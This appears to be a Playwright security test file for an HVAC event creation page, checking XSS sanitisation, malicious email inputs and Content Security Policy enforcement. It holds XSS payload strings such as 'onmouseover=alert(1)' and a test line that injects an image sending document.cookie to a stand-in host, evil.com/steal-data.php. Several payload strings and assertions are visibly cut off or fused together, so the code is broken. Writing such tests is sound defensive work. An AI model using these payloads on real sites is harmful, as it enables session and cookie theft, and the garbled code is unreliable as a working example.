const { test, expect } = require('@playwright/test'); const { HVACTestBase } = require('./page-objects/HVACTestBase'); /** * Security Test Suite for HVAC Event Creation Page * * Tests critical security vulnerabilities identified in code review: * 1. XSS prevention in rich text editor * 2. CSRF protection in form submissions * 3. File upload security validation * 4. Input sanitization across all form fields */ test.describe('HVAC Event Creation - Security Tests', () => { let hvacTest; test.beforeEach(async ({ page }) => { hvacTest = new HVACTestBase(page); await hvacTest.loginAsTrainer(); await hvacTest.navigateToCreateEvent(); }); test.describe('XSS Prevention Tests', () => { test('should sanitize malicious script tags in rich text editor', async ({ page }) => { const maliciousContent = '
Test content
'; // Input malicious content into rich text editor await page.click('#event-description-editor'); await page.keyboard.type(maliciousContent); // Check that script tags are removed/escaped const editorContent = await page.locator('#event-description-editor').innerHTML(); expect(editorContent).not.toContain(''); }); const content = await page.locator('#event-description-editor').innerHTML(); expect(content).not.toContain('', '\'"onmouseover="alert(1)"' ]; for (const xssPayload of xssAttempts) { await page.fill('#event_title', xssPayload); // Verify value is properly escaped when retrieved const titleValue = await page.locator('#event_title').inputValue(); expect(titleValue).toBe(xssPayload); // Should store as-is // But when rendered in preview/output, should be escaped if (await page.locator('.event-preview').isVisible()) { const previewContent = await page.locator('.event-preview').innerHTML(); expect(previewContent).not.toContain('@evil.com', 'test@.com', 'javascript:alert(1)@evil.com', '""@evil.com' ]; // Open organizer modal for email testing await page.click('[data-action="create-organizer"]'); for (const email of invalidEmails) { await page.fill('#new-organizer-email', email); await page.click('#save-organizer'); // Should show validation error for malicious email await expect(page.locator('.validation-error')).toContainText('Invalid email format'); } }); }); test.describe('Content Security Policy Tests', () => { test('should not execute inline scripts', async ({ page }) => { // Monitor console for CSP violations const cspViolations = []; page.on('console', msg => { if (msg.text().includes('Content Security Policy')) { cspViolations.push(msg.text()); } }); // Try to inject inline script via form await page.fill('#event_title', 'Test Event'); await page.evaluate(() => { // This should be blocked by CSP if properly configured const script = document.createElement('script'); script.textContent = 'alert("CSP bypass attempt");'; document.body.appendChild(script); }); // Wait for potential CSP violations await page.waitForTimeout(1000); // Should have CSP violations if properly configured expect(cspViolations.length).toBeGreaterThan(0); }); test('should prevent loading external resources', async ({ page }) => { const networkRequests = []; page.on('request', request => { networkRequests.push(request.url()); }); // Try to load external resource await page.evaluate(() => { const img = document.createElement('img'); img.src = 'https://evil.com/steal-data.php?data=' + document.cookie; document.body.appendChild(img); }); await page.waitForTimeout(2000); // Should not have loaded external malicious resources const maliciousRequests = networkRequests.filter(url => url.includes('evil.com') ); expect(maliciousRequests).toHaveLength(0); }); }); });